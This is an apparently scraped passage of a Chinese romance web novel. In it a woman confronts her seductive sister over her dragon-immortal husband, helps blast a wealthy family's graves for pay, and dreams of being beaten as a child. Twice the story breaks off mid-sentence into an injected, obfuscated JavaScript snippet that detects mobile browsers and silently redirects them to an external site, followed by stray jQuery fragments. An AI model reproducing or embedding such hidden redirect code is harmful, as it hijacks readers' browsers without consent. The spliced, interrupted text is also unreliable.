甩掉赵二这个渣男,我趁着月色尚好,加快脚步往家赶。
进了家门,妈已经把留好的豆腐放在井边等着我去自提了。
我随手拎上豆腐,大步回东院。
出来那会子我和龙仙说五分钟就回,可现在已经在外耽搁一个多小时了。
也不知道龙仙会不会担心我……
我往前迈的步子有些急,差点一头撞在迎面从东院跑出来的人影身上……
亏得我及时站住脚跟才没有和她撞个满怀。
好奇昂头,才发现匆忙跑出东院的身影……
是宋花枝!
而她此刻,披肩长发凌乱,浑身衣衫不整。
脖子上,还烙印着一团青紫……
分明就是、刚和人亲热过的样子——
第21章 宋花枝爬上了龙仙的床
可东院,只有龙仙一个男人……
宋花枝撞见我,愣了愣,但下一秒,却拢着藏蓝纱衣故意遮住半露香肩上的一抹刺眼红痕。
暧昧不清的印记在薄纱下,半隐半现——
我皱眉,压下心底的怀疑与不安,冷漠质问:“你在东院里干什么?!”
宋花枝媚眼如丝地瞟了下我,弯唇挑衅:“还能干什么?”
手中蓝纱往空中一抛,她一副轻佻妖娆姿态,得意道:“自然是干,男人与女人之间,该干的事了……”
“你胡说。”我一口反驳她。
龙仙大人性格正直,又洁身自好。
他绝不可能碰宋花枝!
“我胡说?”
宋花枝掩唇轻笑,肆无忌惮地轻言慢语羞辱我:
“那你说,我和他,总不至于脱光了衣服纯聊天吧?宋鸾镜,你还真以为龙仙是你一个人的?
你也不看看你自己是什么德行,浑身上下没有二两肉,该丰满的地方干瘪得像隔夜馊馒头。
龙仙大人啊,清汤寡水尝多了,总想吃点好的。”
“你少在这里胡说八道!龙仙大人是什么人,我比你清楚!”我坚定心念,努力摒弃那些杂思,对龙仙大人有信心道:“你以为谁都像你一样,喜欢吃百家饭!”
说罢,我不给面子地一把推开她:“别挡道!你不告诉我,我可以自己回去问龙仙。宋花枝,我奉劝你一句,你如果把他惹急了,他想杀你,我绝不会拦着!”
我大步从她身侧迈过,而她听完的我话,却诡异地疯笑起来。
“哈哈哈,杀我?龙仙才舍不得杀了我呢,毕竟,他方才可是夸我冰肌玉骨,食之勾魂呢!”
我离开的步伐陡然顿住。
愈发心神不宁……
不可能。
龙仙大人不是花心的男人……他绝对不会有了我,还去碰宋花枝。
即便碰了、也是宋花枝使了什么手段!
宋花枝见我停步,厚颜无耻地伸出纤纤玉手搭在我肩上,故意附在我耳畔轻吐浊息:
“宋鸾镜,我早便说过,从小到大,我想要的东西,就没有得不到的。
圣女之位我要,龙仙,我也要。
哦对了,我亲爱的妹妹,你应该还不知道吧。
动物仙与人可不一样,人类太过蠢笨,成天口中嚷嚷着什么伦理啊,道德啊,忠贞不渝啊,从一而终啊,竟将这等极乐之事视为耻辱。
殊不知男女欢好,本就是动物天性。
严谨讲,人也是动物、高级动物,只是人太擅长伪装,擅长用一些自己都不认同的冠冕堂皇的谬论来束缚自己,以此来标榜自己有多高洁。
可动物仙就不会啊,动物仙擅长释放天性。
你姐姐我从十七岁那年开始,就接触形形**的动物仙,我是不比你认识龙仙时间久,但我比你,更懂动物仙。
就像,以往来找我的狐仙,他在外面,还有个凡人老婆呢!他的凡人老婆以为他对自己痴心一片,和他爱得死去活来,压根不知道他在外有多少只母狐狸,不晓得他每个月月头那几天,都要来找我双修。
还有灰狼仙,两年前他和我说,他娶妻了,不会再来陪我了,结果你猜怎么着,三个月前,他半夜溜进我的房里,和我折腾了一整夜呢。
对动物仙来说,娶妻是人生必须要进行的一场重要仪式,但妻子,绝不可能是他的一生一世……毕竟,这家花,哪有野花香呢?”
她说着,红艳艳的长指甲顺着我的肩胛骨往下,探进我的衣领……
我呼吸急促的恶心甩开了她的手,心猿意马地攥紧十指,依旧不相信她的荒唐言论:“你以为和我说这些,我就会信你的片面之词?”
她抬起纤长玉指轻扶鬓角斜插的花钗,眼神勾人,弯起唇角,媚骨天成的扭腰摆臀,长裙腰间铜铃轻响——
“你信不信,这都是事实……哦对了,刚才龙仙大人太热情,我猜,应该是受春天影响的缘故吧,龙仙大人有点喂不饱呢。”
我心头狠狠一颤,一时像有万千丝线束缚住我的心脏,每一次抽动,都勒得生疼。
她竟然连龙仙大人处于特殊时期都知道!
不,我还是不信!
她瞧出我内心的反抗挣扎,拍拍我的肩,给了我致命一击:
“不过,你也别太紧张,你既然是他前生的伴侣,他这辈子,肯定不会亏待你的。只是,好妹妹啊,你特别适合放在家里当花瓶……”
红唇贴近我的耳朵,她以一种胜利者姿态高傲与我道:
“我对龙仙,才有实际用处。我身上的媚香,不但能引一切异性痴迷成狂,贪婪上瘾,还对动物仙的修炼有助益,与我双修一夜,胜过修行一年,妹妹你说,龙仙还有什么理由能拒绝得了我呢?”
心脏上像有千万只蚁虫在密密麻麻躁动攀爬。
我有点分不清此时只是简单的失望,还是……心痛。
又一次被人抛弃的心痛。
但,我总觉得,得再听听龙仙的解释。
我不能因为宋花枝淡淡几句话,就直接定了龙仙大人的罪。
他明明,那么护着我,那么讨厌宋花枝……
我生气抓住宋花枝搭在我肩上的手,厌恶甩开。
“宋花枝,你真是没有下限!”
我大步迈进东院,把她扔在原地。
片刻,身后传来她满意开怀的轻笑声。
我心乱如麻地拎着豆腐进了东院,脑子里乱糟糟的,但为了避免被情绪左右理智,我还是先将豆腐放去了厨房,之后又去水井边撩起一捧清水洗脸,希望能让自己清醒点……
宋花枝说的那些话还萦绕在脑海迟迟不散,我心情压抑地趴在井边,连喘了两口粗气。
如果,龙仙大人真的,为了修炼和她在一起了呢?
我才认识龙仙大人多久,连从小一起长大的赵二哥在美色面前都能毫不犹豫地舍弃我,更何况是刚认识几天的龙仙……
我以为,就算姐姐算计我,妈妈舍弃我,也还有他、陪在我身边。
可如果连他也、选择丢弃我……
我昂头,看着皎皎月空,抹了把温热的眼眶,有点难受:“宋鸾镜,你就又是一个人了。”
“怎么这样久才回来?”
话音刚落,身后就传来一道温润低哑的熟悉声音。
我又抹了把脸,企图掩饰内心的委屈,“我妈让我去给村里独居的奶奶送新鲜豆腐……”
话还没说完,腰身就被人从后拥了住。
男人将我用力按在清凉怀抱里,低低倾诉:“夫人再不回来,本尊就要被人欺负了。”
“啊?”我一怔,忙转身回头将他从头到尾检查一遍:“你怎么了?谁欺负你了!”
他疲倦拧眉,脸色不大好地抓住我手腕,重新把我摁回他的怀抱里,阖目字字真挚道:
“本尊不会留你一人孤单……阿鸾,本尊、想**。”
我呆愣住,很快就反应过来,他这么说,或许是因为宋花枝惹恼了他……
要不然平白无故,怎么会突然杀心大气。
悬着的心一寸寸放下来。
我拍着他的后背小声哄他:“好了阿漓,没事了。”
“阿鸾,吾悦爱你,前世便对你,深爱入骨。”
我低头,紧绷的心弦逐渐放松……
我就知道,宋花枝是在挑拨离间!
“嗯……你想不想吃包子?我给你做。妈给了好几块新鲜豆腐,我可以调个馅给你做素包子或者菜角。”我小声哄着他。
他心疼地攥住我肩膀,将头埋进我的脖子里,体贴道:
“太晚了,我给你做了面条,我们简单吃些。明天有空,我和你一起做包子。”
我点头:“好啊。”
他放开我,牵住我的手要带我回房间。
我拽住他顿了一步,昂头认真凝视他。
犹豫再三,终是开口:“阿漓,你不会和他们一样,觉得我腻了,就去找别人了吧?”
他沉默住,大约过了半分钟,他才执起我的右手,指腹摩挲着我掌心的那点青痣。
俊美的侧颜在清冷月光下,棱角柔和,青眸深深。
“阿鸾,你掌心的这颗青痣,它不单单是控蛇术。你可知,为何你攥住它,呼唤本尊的名字,本尊无论在何地都能感应到?”
我摇了摇头。
他抬手撩起我脖后的长发,捂住我的后脑勺,眸光温柔似水:
“因为它是本尊的命丝,本尊将它抽出来注入你的掌心,控蛇术控的不止是方圆数十里的全部蛇类,还有本尊。若是本尊哪天负了你,你就捏碎它,本尊便会魂飞魄散。”
“命丝?”我手上一颤,根本没想到他竟然刚见面就把自己的生死掌控权交给了我。
他该是,多么相信我啊。
可我刚刚竟然还因为宋花枝的几句话怀疑他……
我内疚地捞住他手,主动扑进他怀里抱住他,“青漓,你、为什么这样信任我?”
他拍拍我的后背轻叹一声,语调勉强轻松几分:
“因为本尊的阿鸾,曾以命护过本尊。本尊这条命,本就是阿鸾的。
阿鸾需要本尊时,本尊就陪在阿鸾身侧,让阿鸾欢喜,阿鸾不需要本尊……也可毁了本尊。”
这话听得我心头酸酸的,我小声**道:
“才不会呢,就算我手里攥着你的命丝,我也不会毁了你。
青漓,我不在乎你是龙仙还是人,你也别抛弃我,我们俩就这样相互依靠,报团取暖,好不好?”
他摸摸我的脑袋,片刻后,才极致温情地应下:“好。”
——
妈给的那些豆腐被我和青漓全做成了包子,中午,我捡起一笼屉刚出锅的包子放进竹筐里,打算送给银杏。
银杏和李大叔能吃到青漓亲手和面做的素包子,不容易啊!
正午时分,前院涌来了一批妇人,吵吵闹闹要说法。
我吹吹被烫疼的手指头,早已见怪不怪地用干净棉布罩上竹筐,免得那些人闻着味进来蹭吃蹭喝。
家里院子本就不大,前院和东院这边更是连道门都没有,完全不隔音。
前院稍有点大动静,这边都能听见,更何况是女人们的刻意嘶声喊叫了——
“族长啊,现在花枝的洗身水已经没用了,能不能想想办法,让咱们也沾沾光……不能长生,不会变老也好啊。”
“就是,现在花枝只能让村里的男人们占便宜,咱们是一点好处都没分到手,我不服气!”
“哪家女人像花枝一样,勾得别人家男人魂都飘了!我们还说不得拦不得。”
“可不是么,上次我拦着我家那死秃子不让他来找花枝,谁知那死秃子竟然对我拳打脚踢……
我和他过这么多年了,还是第一次挨他打。族长,这日子没法过了!”
“凭什么好事都让男人们占去了,我们女人们就活该变老生病,然后老死在家里吗?”
“今天你们家要是不给我们一个说法,以后花枝甭想见到一个男人!我们女人们联起手来,还怕管不住那些偷腥的蠢驴么!”
“我们都听说了,没有男人,花枝也会容颜衰老。花枝是靠着男人的精气维持年轻容貌的,既然花枝不让我们好过,我们也不让她宋花枝好受!大家就一起老死吧!我们九黎族,合该**!”
有个脾气爆的大娘还一巴掌拍翻了糯米面盆。
不锈钢铁盆叮叮咣咣掉在地上,摔得震耳响。
我听外面都动起手来了,偷偷摸摸地溜到月洞门后看热闹。
我妈阴着脸威严冷斥:“吵够了没有!你们难不成还想把我家也拆了?!”
五十多岁的陶大妈揣着手窝窝囊囊道:
“我们也没有别的诉求……就是想,如果花枝不能让村里男女老少都不变老,那就索性都别长生了。
我们为村里的男人们当牛做马,伺候他们一辈子,到头来,他们长生不死,我们却要早早下地府报到,这不公平。”
旁边的年轻小媳妇拉长脸附和道:
“就是啊,先前族长你说,喝了花枝的洗澡水能怀孕,结果呢,后来大家生出了一窝蛇……吓死个人。
现在花枝的洗身水对大家完全没有作用了,族长你得想想办法啊!
单保男人长生有什么用,男人又不能生孩子传宗接代,没有我们女人,九黎族一群大老爷们在,照样会**。”
“花枝的洗身水,又不能让人变年轻,又不能让人怀孕,真是废物!
她既然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434224|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是假圣女,那我们也没必要继续供奉敬重她了,她什么都做不到,不如早点退位,我们再物色新圣女,说不准村里还有年轻姑娘适合当圣女,修炼长生媚术呢!
我看老李家的闺女银杏就挺不错,老张家的孙女彩虹也可以啊,那小腰细得一把掐,小脚还没有巴掌大,也是天生媚骨!”
小腰一把掐,小脚没有巴掌大?
我举起手掌比了比,这个长度……小的太夸张了点吧!
未成年的孩子都比她脚大。
躲在屋里的宋花枝一听这话瞬间就坐不住了,拉开门跳出来和人骂街:
“我还没死呢,你们就想换圣女!我告诉你们,我已经是九黎族的守族仙了,我得到了祖宗们的认可!
你们这群女人就是嫉妒,嫉妒我能得到你们家男人的心!
你们也不回去照照镜子看看自己是什么磕碜样,自己没本事笼络男人的心,怪得了别人吗?
活该被丈夫厌恶,呸,一群黄脸婆!”
宋花枝骂得太脏,以至于前院的妇女们顿时炸开了锅,女人们不管不顾地扑向宋花枝和宋花枝拼命,场面一时失控,急得我妈老脸铁青。
我探头偷看前院的混乱局面,无奈叹口气。
青漓悄然来到我身后,瞥了眼外面的喧闹场景,冷哼道:
“这就是人性,自私,是凡人最明显的特征。一旦利益全部倾向于一方,那另一方势必会团结起来,奋起反抗,闹个不休。”
我赞同地点点头。
后来还是我妈用了巫术,才震得院中地面摇晃,风卷枯叶,吓得那些与宋花枝扭打在一起的女人们停了手。
我妈脸色难看地出面向众人保证:“这件事,我会给大家一个满意的交代,你们先回去,三天后,让你们的男人过来取洗身水!”
我妈还要给村民们发放宋花枝的洗身水?难道,她能发掘出洗身水的其他功效?
一想起那腥臭乌黑的洗身水……我就有作呕的冲动。
院子里的妇女们听妈发话了,这才肯善罢甘休,骂骂咧咧地接连散去。
我看完热闹,想不通地问青漓:“宋花枝的洗身水,还能让人长生吗?”
青漓摇头:“不能。”
“那我妈……”
“宋花枝是魅女,她的洗身水,能让女人越变越漂亮,在那方面,更能满足自己的丈夫。”
我:“……”
还是想吐。
一点多,我拉着青漓去给银杏送新鲜包子。
路走一半,手机却收到了银杏给我发的信息:‘速来,有要事相商,记得带上你老公!’
有什么重要事情,她还特意强调让我带上青漓……
十分钟后,我把一竹篮的包子递给了李大叔,还没来得及和李大叔多说几句话,就被银杏神神秘秘地给拽去了屋后竹林——
“我今天接了个兼职,咱俩一起去呗,赚到的钱咱俩平分!”银杏激动拉我商量。
我拧眉:“赚外快啊?什么兼职?给多少钱?你一个人干不完吗?我如果缺个作伴的,我可以陪你,你不用和我平分。”
银杏抱住我胳膊仗义道:“不,必须平分!我李银杏向来最正直,从不占任何人便宜。再说,这事没你还真不行,镜镜你的存在决定我们今天能不能顺利拿到这笔钱!”
说着,还搓手指头和我比划道:“今天这个金主比较大方,给五千呢!事成之后,咱俩一人两千五!”
“五千的兼职?”我怀疑道:“什么金主这么阔气?银杏你当心遇见骗子!”
银杏拍着胸脯再三保证道:“不会,熟人介绍的,镜镜你相信我,我什么时候干过没把握的事!”
我还是犹豫:“那,到底是什么兼职?如果对方不是骗子的话……给这么多钱,肯定活不好干吧。”
银杏咳了声,正儿八经道:“好干,也就是动动土、而已……反正咱俩只要一过去,用不了一个小时就能搞定,保准轻松拿到钱!我,你还不信吗?”
我抽了抽嘴角,看她这副胸有成竹的样子,心里还真有点打鼓。
“啊对了,你老公带来了没?”银杏着急问。
我转头看了眼陪在我身侧的青漓,默默点头:“昂……”
银杏欣喜道:“那就好那就好,咱们出发!”
我与青漓相视一眼,从青漓的神色中能看出——
他也猜不透银杏葫芦里到底卖的什么药。
我们两人一龙一路步行到清河村前头的玉石村。
接着又爬上了玉石村南边的那座大山——
一个半小时后,我和青漓,以及银杏……
顺利站在了今天的目的地上——
放眼望去,半山腰从上至下几百米,全是水泥垒的坟丘!
我有点怀疑,问银杏:“你确定、咱们今天的兼职是……在这个地方进行?”
银杏重重点头:“嗯哼!”
我吞了口口水:“那咱们是,负责替金主爹、扫墓?”
银杏摇头:“非也!”
我有种不祥的预感:“那是……”
银杏咳了咳,装得老气横秋,大手一挥:
“看见了么!这一片,全都是金主爹的祖宗亲人,金主爹家是大家族,这里一共有一百三十二座水泥坟!”
我拍拍胸脯,努力令自己平静下来:“金主爹是有钱大家族,能看出来……”
“前一段时间,金主爹请了位外地有名的风水先生去家里看风水,那先生说,金主爹的祖坟选址不够好。”
我歪头:“然后呢?”
银杏淡定道:“然后你也看见了,这里的山路不好走,挖机什么的都进不来。”
我心底那股不祥预感愈加强烈了:“所以你接下的兼职……”
银杏没心没肺地一抬手,豪情壮志:“炸了它们!”
我腿一软,差点被银杏吓趴下!
青漓伸手扶住我,一脸凝重。
我难以置信地颤声找她确认:“咱俩、来炸坟?可咱们也没有工具啊,咱们徒手扒吗?”
银杏拍拍我肩膀,笑得贼兮兮:
“但是咱们有龙仙大人啊!龙仙大人一出手,别说是一百来座水泥坟了,整座山都能给他炸平喽!”
我噎住。
青漓冷着脸:“……”
第22章 金主爹的祖宗在天上飞
银杏接着忽悠我:
“风水先生说了,金主爹的祖坟得往南搬两里,南边两里正好是什么……凤凰穴!
这山路崎岖太难走,挖机爬不上来,可金主爹家的祖坟当年为了保险起见,都用水泥包了一圈,人工砸,费时费力,所以金主爹就想请个爆破队过来把坟炸了。
但是爆破队最近在外地工作,等他们回来再炸坟,就错过了迁坟的吉时。
昨天金主爹的管家来我家找我爸确认南边两里是不是凤凰穴,正好提了这件事,我就想着吧,肥水不流外人田,咱们正好有这资源,合理利用赚点小钱钱多好!
五千呢,咱俩一人两千五,跑一趟就两千五,多划算。
再说咱们的龙仙大人实力在这放着,炸个坟而已,不是挥挥袖子就能搞定嘛,也累不着他老人家!”
我:“……炸人家的祖坟会不会太缺德了?”
银杏歪理一套套:
“哪能呢,人家是迁坟,送他们家老祖宗换地方享福的!咱们这算是积德行善好不好!
而且金主爹说了,我们只负责炸坟,挪棺安新坟,都有其他人负责,只要咱们把坟炸开,就可以结账走人了!”
我还是觉得、匪夷所思!
银杏想了想又补充道:“不过炸归炸……咱们可不能把人老祖宗的棺材板给炸飞了!金主这人讲究,再三强调尽量收着点力,别惊到了他家老祖宗。”
我讪笑:“金主爹想得还挺周全,不过,坟都炸了,他家老祖宗就算死过去了也会被惊醒吧?”
银杏咳了咳,清清嗓子:“反正,大致就是这个意思,只要现场情况不是太惨不忍睹……金主爹都能接受!”
挎住我的胳膊,银杏目光真诚地诱惑道:
“宝,想想两千五!两千五能给你家龙仙买多少鱼虾!你现在回老家了,花钱的地方少,赚钱的地方更少,咱们总得想法子来财,不能坐吃山空啊!”
银杏说的……有点道理啊。
在乡下,老太太去街上卖半年的大白菜都不一定能赚到两千五。
咱们这穷乡僻壤的,能遇见一个有钱的金主很不容易啊!
我犹豫着伸手,扯了扯青漓袖子,昂头眼巴巴看他:“阿漓,要不然……你炸一下?”
青漓一脸的无言以对。
我也觉得,青漓实力强,炸个百十坐坟不在话下。
毕竟他当初去我家祠堂炸我祖宗牌位的时候……可是劲特大!
片刻,青漓拿我没办法地握住了我的手——
猝不及防,满山的坟丘都轰轰隆隆像放鞭炮似的,接连全炸了!
我与银杏瞠目结舌地看着眼前这壮观的一幕……坟炸了,碎石乱飞,坟头阵阵乌烟瘴气。
我甚至能看见——
金主爹老祖宗的胳膊骨腿骨在天上乱飞……
头骨像剥好的花生米似的,炸起来又落下,落下又被炸起来!
银杏瞪大眼,惊得合不拢嘴。
半晌,才慌促大叫——
“啊!骨头!脑袋!脑袋飞起来了!龙仙你就不能温柔点吗!住手——那是金主爹刚死的妈!”
我:“……”
幸好银杏吼得及时。
记住爹他老妈飞起来的尸体咣的一声、砸回了棺材里。
黑漆棺材板又自行合上。
我扭头看着青漓手上施法,大掌一推,灵力便将那副新棺材丢回了原来的坟坑里,狠狠抽了抽眼角……
这场炸坟风波里,满地金主全是受害者。
银杏说对了,青漓出马,真的快把整座山都给夷为平地了……
**声持续了将近十分钟才停歇,我揉了揉快要被震聋的双耳,默默和银杏一起去捡掉出来的白骨。
好在青漓法术用得稳当,只有几根腿棒骨胳膊骨掉在了坟坑边上。
我和银杏把骨头扔回坟坑里,银杏还在碎石下捡到了一块白玉。
拿着玉石往胳膊上擦了擦,银杏欣喜道:“陪葬品哎,拿出去能卖不少钱吧。金主爹的老祖宗们陪葬品肯定不止这一样,少一个,应该看不出来吧?”
青漓悄然在落日斜光下现了形,缓步走过来,清冷启唇:“你手里的东西,是玉琀。”
银杏昂头,兴奋得两眼放光:“是不是超值钱?”
青漓面不改色道:“**含在嘴里下葬的东西,你说值不值钱?”
银杏脊背一僵,下一秒扔了东西痛苦搓手拍袖子:
“啊——我不干净了,不干净了!”
——
太阳下山前,金主爹给银杏结了账。
银杏转我两千五分赃,开开心心地回了家。
我拿了钱,第一时间带青漓去镇上菜市场的水产品门店,挑了条十斤重的大肥黑鱼。
回去路上,我把黑鱼递给青漓,他很自然地接下,帮我拎着。
“买鱼回去煲鱼汤吗?”他问。
我点头:“也可以,不过你要是想现在吃,也行!”
他面露不解:“现在、怎么吃?”
我停下步子,回头善解人意地和他说:“生吃啊!我特意给你挑的新鲜大鱼!”
他皱眉:“生吃?”
我认真说:“是啊!龙,不是爱吃鱼虾吗?”
考虑到他可能因为我在身边不好意思下口,我又体贴安慰道:
“你如果、不喜欢当着别人的面吃饭,我可以先往前走,不看你……你放心,你什么样,我都能接受。”
他眼底攒起丝丝笑意,突然上前一步揽住我的腰身,一手拎鱼,压低嗓音与我咬耳朵:“谁和夫人说的,龙喜欢吃活鱼?”
我哽住,心虚地小声嘀咕:“网上、这么说的……”
他弯唇,附在我耳畔温语诱人:“我不喜欢。”
“啊?你不喜欢啊……”我失落轻吟:“你不喜欢吃鱼,那你喜欢吃什么?哦对,青漓你是蛇化龙,蛇喜欢吃什么……”
想到答案的那一刻,我顿时全身起鸡皮疙瘩:“难不成,我得去给你捉青蛙?!”
他被我的话逗笑,暧昧轻咬我耳垂,有意撩拨我:“本尊喜欢吃、夫人……生吃。”
我一惊,转瞬红透了脸颊。
他是真的、太贪吃了!
见我被他逗得羞窘不已,他揽着我心情大好道:“走吧,回家炖鱼汤。”
我红着脸哦了声,不死心追问:“你真不吃鱼?”
他无奈回答我:“本尊不吃活鱼,本尊已修成正果多年,早已褪了**,同人的习性大差不大了。”
我终于听明白了,“那你有没有什么忌口?人的饭菜都吃得适应吗?”
“适应,没有忌口。”他嗓音低浅地和我说:“只要是夫人做的饭,本座都喜欢吃。”
我放下心,“那就好。”
晚上。
我煲了鱼汤给他盛了满满一大碗,他很配合地全部喝光了。
不过,我也发现,相较于猪肉,青漓的确更喜欢吃鱼肉。
果然,习性再变,也改变不了他身为一条龙的天性。
夜里几场云雨后,我趴在他怀里疲惫地睡着了过去。
意识陷入梦境,不知不觉,我好像又回到了十年前,我刚满十二岁那一年——
一个清晨,我看见宋花枝偷溜进妈妈的房间,从梳妆台上顺走了一只银丝并蒂莲花镯子。
我着急在她出门时拦住她。
“姐姐,这是妈最喜欢的银镯子,是外婆留给妈的遗物,你拿它出去干什么啊?妈找不到镯子会着急的!”
宋花枝见到我,嘴角的笑意凝固,随即一把抓住我的肩,面色沉重道:
“镜镜,村里的张大娘前几天生病了,现在卧床不起还吐了血,她没有家人,也没钱买药治病,我想拿这只银镯子当给街上的刘叔,好给张大娘换买药钱。
妈最近出门不在家,大娘病得太严重,这镯子我先拿走,等妈回来了我再和她实话实说!到时候妈就算打死我,我也认了!”
我还是犹豫:“可这是外婆的遗物,对妈意义非凡。”
想了想,我把自己腕上从小戴到大的一对银镯子褪下塞给她:
“姐姐,你别拿妈的镯子换了,拿我的换!我这对银镯子也挺重,应该能换几百块钱。”
宋花枝捧着我的镯子眼底一喜,但随即又唉声叹气:
“就算是把这些镯子全卖了,也不一定能买得起给张大娘治病的药……
你的好意我先收下了,我替张大娘谢谢你!
妈回来了你千万别背叛我,别把我供出去了,不然你就是**凶手,以后我再也不理你了!”
她说完不顾我的阻拦就着急跑出了家门。
“姐姐!你别卖妈的镯子,姐姐!”
妈是两天后回来的,妈回家当天就发现镯子不见了。
晚上,妈大发雷霆。
我刚躲在小屋子里洗完澡,就被妈拎着耳朵丢去了前院。
“跪下!”妈冷声呵斥。
我胆子小,还没弄清是什么情况,就被吓得腿上一软扑通跪了。
我妈恼火地从墙角拾起一根带刺槐树条,不分青红皂白就唰唰往我身上抽下来——
“让你小小年纪不学好!学着偷鸡摸狗手脚不干净!偷东西都偷到自己家里来了!”
“我辛辛苦苦把你养大,你不知道报答我心疼我也就算了,还敢吃里扒外偷我的东西!”
“那可是你外婆留给我的唯一一件遗物啊!那是我妈传给我的宝贝啊!就算你偷听到我要把镯子传给你姐姐,你嫉妒你姐姐,你也不能趁我不在家就把镯子偷走卖了!
我养了你这么多年,费尽心血供你吃穿供你上学,却没想到到头来,养了个吃里扒外的白眼狼!”
那树条上的尖刺,即便时隔整整十年,在梦中重新抽回我身上,我也还会感觉到锥心刺骨的疼痛——
“妈,我没有偷你镯子,妈……你别打了,我疼。”我浑身是血地痛到在地上打滚,委屈地放声大哭。
但妈却没有因为我的求饶,而对我手下留情。
反而一棍一棍抽打在我的脖子上、脸上……尖刺刺穿耳鬓皮肉,剌开一道道血红长口子。
“你没有偷,难不成还是你姐姐偷的吗?还嘴硬,我打死你!”
光抽还不解气,我妈又狠狠两脚踢在我的腹部,踢得我心脏抽痛眼前阵阵发黑……
母亲怒不可遏的气话灌入我耳中,字字清晰,比用刀子捅我心还令人窒息——
“你姐姐是圣女!是我们九黎族未来的守族仙!就你也配和你姐姐争!你姐姐想要什么直接和我说一声,犯得着偷吗?”
“倒是你,脑子笨什么都学不会,让你学控蛇术,你竟能被蛇咬伤脸毁了容!
你说说,你浑身上下哪一点比得上你姐姐!
你姐姐比你聪明懂事,当年早知你是来讨债的,我就该在你一生下来的时候,就把你掐死!”
我被妈打得遍体鳞伤,连给自己解释的力气都没有了……
可宋花枝,就站在不远处的葡萄架下,静静看着这一幕,冷眼旁观——
等妈打累了,我才蜷缩在水井旁,瑟瑟发抖地抽泣着和妈说:“是姐姐拿了你的镯子,姐姐说要当了给张大娘看病……”
我话还没说完,宋花枝就跑到妈身边挽着妈胳膊撒娇:“妈,你看妹妹啊!我早就说了,妹妹肯定会编假话往我身上泼脏水!”
转头又泪眼汪汪地看向我,满脸委屈的说着一些我听不懂的话:
“妹妹啊,你就说实话吧。不是姐姐不帮你瞒着妈,姐姐是不想看你走上歧途。
你现在还小,不适合早恋,姐姐和你不一样,姐姐是族里的圣女,姐姐与他们接触也是为了修炼。
你不能什么都要和姐姐比啊!
妈都已经知道了,是你偷走了镯子,换钱给外面的小男生……
这次就算了,下回可不许了嗷,妈和姐姐都是心疼你,为你好!”
她话音刚落,我就迎来了我妈第二波拳打脚踢——
“你可真是贱种啊!拿我的镯子换钱给外面的男、男孩!”妈红着脸难以启齿,恶狠狠地边打边骂:“你才多大啊!就这么迫不及待地想要和男人在一起……我真后悔当年把你也生出来!”
“你姐姐就是比你听话,比你讨喜!宋鸾镜,你一辈子也比不过你姐姐!你天生就是个贱种,不要脸!”
我妈打过骂过撒完气,揪着我的耳朵把我扔进了杂物房里,从外把门上了锁。
任凭我怎么拍门求救,她都下了狠心要治我,丝毫不心软。
她把我关在杂物房里,锁了整整三天……
这三天,没给我一口吃的,一口喝的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440318|168724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>第四天,我妈在宋花枝的怂恿下打算去学校给我办退学手续。
就在我以为自己会被渴死饿死时,村里的郑大伯带着自家小儿子来找妈登门道歉了——
“对不起啊族长,我没想到我家这个小畜生竟然胆子这么大,都敢引诱圣女……”
那时候,村民们还没有喝过宋花枝的洗身水,还有几个耿直老实人。
郑大伯从口袋里掏出一张旧帕子,旧帕子里包着的,就是妈的银镯子。
“我家这小畜生,这两天上学路上总往小卖铺跑,我看着不对劲,回去搜他书包,结果搜出了好几百块钱,还搜出了这只银镯子!”
“我一眼就认出这只银镯子是老族长的遗物,我以为是这小畜生偷的,就狠狠把他揍了顿,揍完才知道……这镯子是圣女给的,小畜生包里的几百块钱,是圣女给的另外两只镯子换的。”
“对了族长,小畜生说那两只镯子一共换了五百块钱,这是我补给您的钱……对不起族长,是我教子无方,您别生气,今天我把小畜生带过来就是打算任您处置!您看看,要打要骂,随您!”
哪怕事实都摆在眼前了,我妈的第一反应也是:“这镯子,是花枝给的?你没弄错吧!不是鸾镜拿的吗?”
郑大伯闻言无奈道:
“哎,说起来也是孩子们还小不懂事,我家这小畜生整天只知道跟在圣女身后,和小鸾镜……前一阵子吵架吵出仇了,两孩子现在一见面话都不肯说上一句,当然不是小鸾镜给的……
我家这小畜生说,是圣女骗小鸾镜老张大姐需要钱治病,小鸾镜一听是为了救人,就把自己手上的镯子塞给了圣女……
这三只镯子,小鸾镜的那两只稍轻些,能当掉,您的这只由于做工太复杂,克数有点重,街上开当铺的老刘怕它来路不明是不干净的东西,就没敢收。”
我妈听完,愣了很久……
后来,我妈终于打开了杂物房的门,把饿到虚脱的我抱出去。
喂我吃米粥,小心翼翼给我处理身上结了疤的伤口。
“这次,是妈不好,误会了你……镜镜,妈前几天在气头上,说的话过激了,都不是真心话。”
“镜镜,你是妈最懂事的孩子,妈对你们姐妹俩,都一样疼爱。”
“妈已经教训过你姐姐了,你先养好伤,有什么不舒服的地方和妈说。妈去学校给你请几天假,等你身上伤好得差不多了再去上学,身体重要。”
妈抚着我的脸,满眼心疼。
可我分明记得,郑大伯父子俩从我家离开后,我妈拿着镯子,转身就亲手给六神无主的姐姐戴在了腕上——
“这镯子,迟早是你的,你想要和我说一声不就是了么!”
“你笨不笨!这镯子可是贵重物品,就这么白白给了那个小白脸,你吃亏了知不知道!”
“好了,你先回你自己屋躲两天,你妹妹现在肯定在气头上,别让她看见你,不然我没法交代。”
外婆的遗物被我偷走,我妈就恨不得直接打死我。
